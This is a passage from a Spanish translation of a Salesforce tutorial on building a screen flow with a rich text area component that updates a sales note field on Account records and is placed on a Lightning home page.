  5. Se abrirá el diseñador de flujo para usted.

Paso 3.2: agregue una pantalla para mostrar la búsqueda de cuentas y el componente personalizado del área de texto enriquecido

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Pantalla .
  2. Ingrese la siguiente información :
    1. Ingrese la etiqueta , el nombre de la API se completará automáticamente.
  3. Mira el video para obtener instrucciones paso a paso y algunos consejos.

Paso 3.3: Agregar acción: actualizar registros

El siguiente paso es actualizar el registro de la cuenta para almacenar la nota de venta. Usaremos los registros de actualización   elemento.

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Actualizar registros .
  2. Introduzca un nombre en el campo Etiqueta ; el nombre de la API se completará automáticamente.
  3. Para obtener información sobre cómo encontrar registros para actualizar y establecer sus valores , seleccione Especificar condiciones para identificar registros y establecer campos individualmente.
  4. Objeto : Cuenta
  5. Seleccione Se cumplen todas las condiciones (Y) .
  6. Establecer condiciones de filtro
    1. Fila 1:
      1. Campo : Identificación
      2. Operador : Igual
      3. Valor : {!Cuenta.recordId}
  7. Establecer valores de campo para los registros de oportunidad
    1. Fila 1:
      1. Campo : Sales_Note__c
      2. Valor : {!SalesNote.fieldValue}
  8. Haga clic en Listo .

Al final, Rachel's Flow se verá como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo , el nombre de la API se completará automáticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versión de API para ejecutar el flujo : 55
  5. Etiqueta de entrevista : Área de texto enriquecido {!$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

¡Casi ahí! Una vez que todo se vea bien, haga clic en el botón Activar .

Paso 4: agregue un flujo de pantalla a la página de inicio de Lightning

El siguiente paso es distribuir un flujo a los usuarios de la aplicación Lightning Experience o Salesforce incrustándolo en una página de inicio de Lightning.

Prueba de concepto

Mira el video para obtener instrucciones paso a paso.

[contenido incrustado]

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.

Esta es una traducción realizada por EGA Futura, y este es el link a la publicación original: https://automationchampion.com/2022/06/10/rich-text-area-component-for-screen-flow-2/